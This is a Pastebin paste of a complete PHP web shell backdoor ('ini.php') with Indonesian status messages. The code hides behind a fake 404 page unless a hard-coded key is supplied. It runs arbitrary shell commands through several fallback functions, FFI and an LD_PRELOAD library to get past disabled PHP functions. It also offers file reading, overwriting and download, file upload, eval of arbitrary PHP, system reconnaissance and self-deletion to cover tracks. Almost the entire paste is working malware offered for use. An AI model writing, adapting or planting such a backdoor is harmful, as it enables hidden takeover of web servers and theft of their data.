cyberking

ini.php

Nov 4th, 2026
1,895
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.91 KB | None | 0 0
  1. <?php
  2.  
  3. http_response_code(200);
  4. header('Content-Type: text/html; charset=utf-8');
  5. header('Content-Disposition: inline; filename=""');
  6. header('Cache-Control: no-store');
  7. header('X-Content-Type-Options: nosniff');
  8. foreach (headers_list() as $_h) {
  9.     if (stripos($_h, 'attachment') !== false || stripos($_h, 'octet-stream') !== false) {
  10.         [$_hn] = explode(':', $_h, 2);
  11.         @header_remove(trim($_hn));
  12.     }
  13. }
  14. header('Content-Type: text/html; charset=utf-8');
  15. header('Content-Disposition: inline; filename=""');
  16.  
  17. $KEY = '3n3my';
  18. $in   = $_REQUEST['k'] ?? $_COOKIE['k'] ?? '';
  19. if (!is_string($in) || !hash_equals($KEY, $in)) {
  20.     http_response_code(404);
  21.     echo '<!DOCTYPE html><html><head><meta name="robots" content="noindex"><title>404 Not Found</title></head><body>'
  22.        . '<h1>Not Found</h1><p>The requested URL was not found on this server.</p>'
  23.        . '</body></html>';
  24.     exit;
  25. }
  26.  
  27. function x($c)
  28. {
  29.     $c  .= ' 2>&1';
  30.     $out = null;
  31.     foreach (['system', 'shell_exec', 'passthru', 'exec', 'popen', 'proc_open'] as $m) {
  32.         if (!function_exists($m)) continue;
  33.         try {
  34.             switch ($m) {
  35.                 case 'system':     ob_start(); system($c);                    $out = ob_get_clean(); break;
  36.                 case 'shell_exec': $out = shell_exec($c);                                     break;
  37.                 case 'passthru':   ob_start(); passthru($c);  $out = ob_get_clean();         break;
  38.                 case 'exec':       $r = []; exec($c, $r);   $out = implode("\n", $r);        break;
  39.                 case 'popen':      $h = popen($c, 'r'); $out = stream_get_contents($h); pclose($h); break;
  40.                 case 'proc_open':
  41.                     $p = proc_open($c, [1 => ['pipe', 'w'], 2 => ['pipe', 'w']], $pi);
  42.                     $out = stream_get_contents($pi[1]) . stream_get_contents($pi[2]);
  43.                     proc_close($p);
  44.                     break;
  45.             }
  46.             if ($out !== null && $out !== false) return $out;
  47.         } catch (Throwable $e) { continue; }
  48.     }
  49.  
  50.     if (class_exists('FFI')) {
  51.         try {
  52.             $ffi = FFI::cdef('int system(const char *command);', 'libc.so.6');
  53.             ob_start(); $ffi->system($c); $o = ob_get_clean();
  54.             if ($o !== false) return $o;
  55.         } catch (Throwable $e) {}
  56.     }
  57.  
  58.     $o = ldexec($c);
  59.     if ($o !== null) return $o;
  60.  
  61.     return "[!] semua exec method disabled (FFI & LD_PRELOAD gagal)\n"
  62.          . "disabled: " . ini_get('disable_functions');
  63. }
  64.  
  65. function ldexec($c)
  66. {
  67.     $so = getenv('BD_SO') ?: __DIR__ . '/.bd.so';
  68.     if (!is_readable($so)) return null;
  69.     @putenv('BD_CMD=' . $c);
  70.     @putenv('LD_PRELOAD=' . $so);
  71.     @mail('x@localhost', 'x', 'x');
  72.     @error_log('x', 1, 'x@localhost');
  73.     $out = @file_get_contents('/tmp/.bd_out');
  74.     @unlink('/tmp/.bd_out');
  75.     return $out;
  76. }
  77.  
  78. $A = $_REQUEST['a'] ?? 'home';
  79. echo '<!DOCTYPE html><html><head><meta charset="utf-8"><meta name="robots" content="noindex"><title>.</title>'
  80.    . '<style>body{background:#0d0d0d;color:#33ff33;font:13px monospace;padding:12px}'
  81.    . 'button,input,textarea,select{background:#111;color:#33ff33;border:1px solid #33ff33;font:12px monospace}'
  82.    . 'a{color:#33ff33}pre{background:#000;border:1px solid #1a1a1a;padding:8px;overflow:auto;max-height:72vh}</style>'
  83.    . '</head><body>';
  84. echo '<form method="post"><input name="k" type="hidden" value="' . $KEY . '">'
  85.    . '<button name="a" value="cmd">cmd</button> '
  86.    . '<button name="a" value="file">files</button> '
  87.    . '<button name="a" value="ul">upload</button> '
  88.    . '<button name="a" value="ev">eval</button> '
  89.    . '<button name="a" value="info">info</button> '
  90.    . '<button name="a" value="self">wipe</button></form><hr>';
  91.  
  92. switch ($A) {
  93.     case 'cmd':
  94.         $c = $_REQUEST['c'] ?? 'id; uname -a; pwd';
  95.         echo '<form method="post"><input name="k" type="hidden" value="' . $KEY . '">'
  96.            . '<input name="a" type="hidden" value="cmd">'
  97.            . '<input name="c" size="96" value="' . htmlspecialchars($c) . '"> <button>run</button></form>'
  98.            . '<pre>' . htmlspecialchars(x($c)) . '</pre>';
  99.         break;
  100.  
  101.     case 'file':
  102.         $p   = $_REQUEST['p'] ?? getcwd();
  103.         $act = $_REQUEST['act'] ?? 'list';
  104.         echo '<form method="post"><input name="k" type="hidden" value="' . $KEY . '">'
  105.            . '<input name="a" type="hidden" value="file">'
  106.            . '<input name="p" size="80" value="' . htmlspecialchars($p) . '"> '
  107.            . '<button name="act" value="list">list</button>'
  108.            . '<button name="act" value="read">read</button>'
  109.            . '<button name="act" value="dl">dl</button></form>';
  110.         if ($act === 'read' && is_file($p)) {
  111.             echo '<form method="post"><input name="k" type="hidden" value="' . $KEY . '">'
  112.                . '<input name="a" type="hidden" value="file">'
  113.                . '<input name="act" type="hidden" value="save">'
  114.                . '<input name="p" type="hidden" value="' . htmlspecialchars($p) . '">'
  115.                . '<textarea name="content" rows="16" cols="120">' . htmlspecialchars(file_get_contents($p)) . '</textarea>'
  116.                . '<br><button>save</button></form>';
  117.         } elseif ($act === 'save' && isset($_REQUEST['content'])) {
  118.             file_put_contents($p, $_REQUEST['content']);
  119.             echo '<pre>saved -> ' . htmlspecialchars($p) . '</pre>';
  120.         } elseif ($act === 'dl' && is_file($p)) {
  121.             header('Content-Type: application/octet-stream');
  122.             header('Content-Disposition: attachment; filename="' . basename($p) . '"');
  123.             readfile($p);
  124.             exit;
  125.         } else {
  126.             echo '<pre>';
  127.             foreach ((array) @scandir($p) as $e) {
  128.                 $f = rtrim($p, '/') . '/' . $e;
  129.                 echo (is_dir($f) ? '[D] ' : '[F] ') . $e . "\n";
  130.             }
  131.             echo '</pre>';
  132.         }
  133.         break;
  134.  
  135.     case 'ul':
  136.         if (isset($_FILES['f']) && is_uploaded_file($_FILES['f']['tmp_name'])) {
  137.             $dst = getcwd() . '/' . basename($_FILES['f']['name']);
  138.             move_uploaded_file($_FILES['f']['tmp_name'], $dst);
  139.             echo '<pre>uploaded -> ' . $dst . '</pre>';
  140.         }
  141.         echo '<form method="post" enctype="multipart/form-data">'
  142.            . '<input name="k" type="hidden" value="' . $KEY . '">'
  143.            . '<input name="a" type="hidden" value="ul">'
  144.            . '<input type="file" name="f"> <button>upload</button></form>';
  145.         break;
  146.  
  147.     case 'ev':
  148.         $code = $_REQUEST['code'] ?? 'echo PHP_OS;';
  149.         echo '<form method="post"><input name="k" type="hidden" value="' . $KEY . '">'
  150.            . '<input name="a" type="hidden" value="ev">'
  151.            . '<textarea name="code" rows="6" cols="110">' . htmlspecialchars($code) . '</textarea>'
  152.            . '<br><button>eval</button></form><pre>';
  153.         eval($code);
  154.         echo '</pre>';
  155.         break;
  156.  
  157.     case 'info':
  158.         echo '<pre>'
  159.            . 'uname  : ' . x('uname -a')
  160.            . 'id     : ' . x('id')
  161.            . 'php    : ' . PHP_VERSION . ' | sapi: ' . php_sapi_name() . "\n"
  162.            . 'cwd    : ' . getcwd() . "\n"
  163.            . 'basedir: ' . (ini_get('open_basedir') ?: '-') . "\n"
  164.            . 'disabled: ' . ini_get('disable_functions') . "\n"
  165.            . 'so     : ' . (is_readable(__DIR__ . '/.bd.so') ? 'LOADED (LD_PRELOAD ready)' : 'missing (.bd.so)')
  166.            . '</pre>';
  167.         break;
  168.  
  169.     case 'self':
  170.         if (($_REQUEST['ok'] ?? '') === '1') {
  171.             @unlink(__FILE__);
  172.             echo '<pre>wiped</pre>';
  173.             exit;
  174.         }
  175.         echo '<form method="post"><input name="k" type="hidden" value="' . $KEY . '">'
  176.            . '<input name="a" type="hidden" value="self"><input name="ok" type="hidden" value="1">'
  177.            . '<button>WIPE ' . __FILE__ . '</button></form>';
  178.         break;
  179.  
  180.     default:
  181.         echo '<pre>ready. pilih menu.</pre>';
  182. }
  183. echo '</body></html>';
Advertisement